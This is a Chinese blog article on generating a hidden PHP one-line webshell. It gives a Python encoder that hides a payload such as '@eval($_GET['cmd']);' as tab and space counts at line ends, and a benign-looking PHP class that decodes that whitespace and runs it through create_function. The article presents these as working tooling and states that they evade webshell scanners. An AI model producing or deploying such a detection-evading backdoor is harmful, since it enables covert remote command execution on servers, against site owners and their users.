当前位置:   article > 正文

【python实现生成隐藏的一句话木马】_python一句话webshell

python一句话webshell

  如今,各大杀毒软件死死的盯着那几个危险函数不放。但是还有些人喜欢通过检索 webshell 关键字这样批量去找,这就更不可能找到了。那么今天这个 webshell 的原理是什么呢?这个webshell的原理就是:每一行最后都有空格与制表符。\t的数量代表着 ascii 码 16 进制的第一位,空格的数量代表着 ascii 码 16 进制的第二位。然后有个关键的15,其实代表了前 15 行的空白字符组成的是create_function,后面就可以写一句话咯,例如@eval($_GET["pass"]);,每一行写入一个字符即可。执行的时候先读取自身代码之后,按行提取出里面的空格和制表符,提取出隐藏的代码之后执行就完事了。

我们用python制作一个专门插入shell的脚本,并命名为HiddenWebShell.py

  1. import sys
  2. def put_color(string, color):
  3. colors = {
  4. 'red': '31',
  5. 'green': '32',
  6. 'yellow': '33',
  7. 'blue': '34',
  8. 'pink': '35',
  9. 'cyan': '36',
  10. 'gray': '2',
  11. 'white': '37',
  12. }
  13. return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))
  14. if len(sys.argv) not in [3, 4]:
  15. sys.exit(
  16. '''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
  17. ''' [-] example: python {}{}{}'''.format(
  18. put_color('hidden_webshell.py', 'white'),
  19. put_color(''' 'system("echo \"hacked by benben :)\"");' ''', 'green'),
  20. put_color('webshell.php', 'blue')
  21. )
  22. )
  23. webshell_name = sys.argv[2]
  24. hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
  25. exp = sys.argv[1]
  26. if not exp.endswith(';'):
  27. print('[!] WARN: {} {}'.format(
  28. put_color('The payload should end in', 'yellow'),
  29. put_color(';', 'cyan')
  30. ))
  31. print(' [+] Hide webshell')
  32. print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
  33. print(' [-] Payload is {}'.format(put_color(exp, 'green')))
  34. payload = 'create_function' + exp
  35. with open(webshell_name, 'r') as fp:
  36. raw_php = fp.readlines()
  37. for line, content in enumerate(payload):
  38. hex_num = hex(ord(content))
  39. tab_num = int(hex_num[2], 16)
  40. space_num = int(hex_num[3], 16)
  41. hidden = '\t' * tab_num + ' ' * space_num
  42. if line < len(raw_php):
  43. if raw_php[line].endswith('\n'):
  44. raw_php[line] = raw_php[line][:-1] + hidden + '\n'
  45. else:
  46. raw_php[line] = raw_php[line] + hidden
  47. else:
  48. raw_php.append(hidden + "\n")
  49. with open(hidden_name, 'w') as fp:
  50. fp.writelines(raw_php)
  51. print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
  52. print('[!] All done\n\nBye :)')

接着找一个php文件,其中可以写入一些正常的符合php语法的代码:demo.php:

  1. <?php
  2. class getHigherScore {
  3. function __construct() {
  4. $lines = file(__FILE__);
  5. $lower = "";
  6. $higher = "";
  7. for($i = 0; $i < count($lines); $i++) {
  8. $value = $this->getArrayValue($lines[$i]);
  9. if ($i < 15) {
  10. $lower .= $value;
  11. } else {
  12. $higher .= $value;
  13. }
  14. }
  15. $verifyScore = $lower('', "$higher");
  16. $result = $verifyScore();
  17. return $result;
  18. }
  19. function getArrayValue($result) {
  20. preg_match('/([\t ]+)\r?\n?$/', $result, $match);
  21. if (isset($match[1])) {
  22. $lower = dechex(substr_count($match[1], "\t"));
  23. $higher = dechex(substr_count($match[1], " "));
  24. $result = hexdec($lower.$higher);
  25. $result = chr($result);
  26. print $result;
  27. return $result;
  28. }
  29. return '';
  30. }
  31. }
  32. $score = new getHigherScore();
  33. print $score;

使用python脚本优化demo.php脚本:

python HiddenWebShell.py @eval($_GET['cmd']);  demo.php    这样就可以生成一个让人摸不着头脑的php木马文件,内容和demo.php一模一样,但是利用webshellkiller工具、安全狗、D盾是无法识别出来的。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/724419
推荐阅读
相关标签
  

闽ICP备14008679号